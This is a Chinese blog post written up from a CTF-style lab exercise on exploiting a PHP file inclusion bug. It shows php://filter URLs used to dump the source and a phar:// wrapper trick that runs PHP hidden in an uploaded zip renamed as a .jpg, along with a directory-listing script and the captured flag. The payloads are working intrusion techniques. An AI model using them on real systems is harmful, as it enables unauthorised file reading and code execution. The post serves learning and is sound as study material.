php文件包含漏洞利用

上周我们部门弄了一个web安全的兴趣小组。说实话实在惭愧我虽然在安全公司每天都面对着各种漏洞,但是对渗透技术知之又少。于是加入兴趣小组后痛下决心好好学习渗透知识。

现在记录一下上周兴趣小组出的一个测试题目。由于0基础,花了两天时间才解决。

具体要求:读取网站根目录下的一个文本文件中的flag内容,具体的flag格式类似ahflag{xxxxxxxxxxxxxx}

好的,打开测试站点看看。

就是一个文件上传的界面。只能上传图片格式

经过各种google和百度确定解题的思路

目标:利用文件包含漏洞执行上传webshell
首先可以先down源码
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=index
http://192.168.23.250:88/index?page=php://filter/convert.base64-encode/resource=upload
因为是base64的,所以百度找个base64在线解码,可以看到源码
源码中include($page.’.php’)知道不是任意文件包含,只能包含php文件。
那么我上传的jpg木马不能执行了。
所以要想办法截断后面的.php
在url加%00的办法,无效。可以知道php版本为5.4以上。
Google后得知可以通过zip和phar协议截断
尝试了phar方法。
先把test.php压缩成test.zip然后把后缀改为jpg这样可以成功上传。
然后在地址栏构造url
http://198.168.23.250:88/index.php?page=phar://./uP1O4Ds/7RmCG21sgY7CGhXbc6LyYPypoPZrFFMr_test.jpg/test
成功读取到目录文件。
Test.php文件内容
<?php
$dir="./";
$file=scandir($dir);
print_r($file);
?>
读出文件名
窗体底端
Array ( [0] => . [1] => .. [2] => CSS [3] => Y4ahs01_xs1.txt [4] => index.php [5] => uP1O4Ds [6] => upload.php )
于是htpp://192.168.23.250:88/Y4ahs01_xs1.txt获取到flag内容
ahflag{this_is_celuezu_leve1_1_2038}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值